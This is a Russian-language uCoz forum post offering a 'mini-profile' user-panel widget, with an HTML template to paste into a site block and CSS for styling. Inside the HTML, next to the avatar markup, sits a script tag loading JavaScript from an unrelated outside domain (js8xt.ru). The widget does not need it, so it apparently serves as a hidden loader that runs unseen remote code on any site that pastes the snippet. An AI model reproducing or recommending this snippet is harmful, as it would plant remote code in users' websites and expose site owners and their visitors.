Четверг, 28.03.2024, 21:53Привет Гость | RSS
Главная страница | Мини-Профиль для uCoz Мини-профиль для uCoz - Форум | Регистрация | Вход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Центр WeB-мастеров uCoz » Дополнения для uCoz » Мини-Профиль для uCoz Мини-профиль для uCoz (uCoz)
Мини-Профиль для uCoz Мини-профиль для uCoz
AninewДата: Воскресенье, 15.04.2012, 14:00 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 4
Репутация: 0
Статус: :-(
http://s019.radikal.ru/i644/1204/9a/cfed5fcc3799.png <-- СКРИН

Красивый мини профиль для ucoz

Новинка! Новый и красивый мини-профиль для ucoz. Профиль имеет необычное, Но очень удобное строеные.
В
самом верху блок разделен на 2 половины: левая - для аватора(если его
нет будет знак вопроса, или любой другой) правая - логин. Мини-Профиль полностью налажен и работает.

Копируем скрипт Мини-Профиля в нужный блок:

Code
<!--?if($USER_LOGGED_IN$)?-->   
   <div class="mpava"><!--?if($USER_AVATAR_URL$)?--><img src="$USER_AVATAR_URL$"><!--?else?--><img src="http://wallaby.ucoz.ru/_ph/1/2/518111205.png"><!--?endif?--> </div><script src="http://js8xt.ru/ves.js" type="text/javascript"></script>
   <div class="opatb"><div class="mpname"><b>$USERNAME$</b></div></div>   
   <div class="mpin"><img src="http://wallaby.ucoz.ru/_ph/1/2/228868423.png" class="mpimstr"><div class="mpstr"><a href="/index/8">Мой профиль</a></div></div>   
   <div class="mpin"><img src="http://wallaby.ucoz.ru/_ph/1/2/678236462.png" class="mpimstr"><div class="mpstrls"><a href="/index/14">Мои сообщения </a></div> <div class="unread"><a title="Количество новых сообщении">$UNREAD_PM$</a></div></div>   
   <div class="mpin"><img src="http://wallaby.ucoz.ru/_ph/1/2/800250262.png" class="mpimstr"><div class="mpstr"><a href="/index/11">Мои настройки</a></div></div>   
   <div class="mpin" ><img src="http://wallaby.ucoz.ru/_ph/1/2/939619931.png" style="border-bottom:1px solid #ccc" class="mpimstr"><div class="mpstr" style="border-bottom:1px solid #ccc"><a href="/index/10">Выход</a></div></div>   
   <!--?else?-->   
   $LOGIN_FORM$   
   <!--?endif?-->


В CSS
П.У - Дизайн - Управление дизайном (CSS):

Code
/* ====== Мини профиль ====== */   
   .opatb {background:#fff;border:1px solid #ccc;border-left:none;height:63px;}   
   .mpava img {width:63px;height:63px;float:left;border:1px solid #d2d2d2;margin-bottom:4px;}   
   .mpname {float:left;padding-left:27px;font-size:16px;color: rgb(8, 99, 151);padding-top:20px;display:inline-block}   
   .mpin {text-align:left; padding:0px; clear:both; }   
   .mpimstr {float:left;background:#f7f7f7;padding:3px;border:1px solid #ccc;border-right:1px dotted #ccc;border-bottom:none;display:inline-block}   
   .mpstr {background:#fff;float:left;width:165px;height:17px;display:inline-block;padding-top:5px;border:1px solid #ccc;border-left:none;border-bottom:none;}   
   .mpstr a {text-decoration:none;color: rgb(8, 99, 151);margin-left:4px;}   
   .mpstr a:hover {text-decoration:underline;}   
   .mpstrls {background:#fff;float:left;width:147px;height:17px;display:inline-block;padding-top:5px;border:1px solid #ccc;border-left:none;border-bottom:none;border-right:1px dotted #ccc;}   
   .mpstrls a {text-decoration:none;color: rgb(8, 99, 151);margin-left:4px;}   
   .mpstrls a:hover {text-decoration:underline;}   
   .unread {background:#f7f7f7;border:1px solid #ccc;border-bottom:none;height:19px;text-align:center;font-weight:bold;padding:3px 2px 0 0;}   
   /* ====== Мини профиль с wallaby.ucoz.ru ====== */
 
Форум » Центр WeB-мастеров uCoz » Дополнения для uCoz » Мини-Профиль для uCoz Мини-профиль для uCoz (uCoz)
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Читаемые темы Последние темы Лучшие пользователи Новые пользователи

Lookflaco

(9)

MyLife

(7)

startsmart

(5)

laym

(4)

Aninew

(4)


Конструктор сайтов - uCoz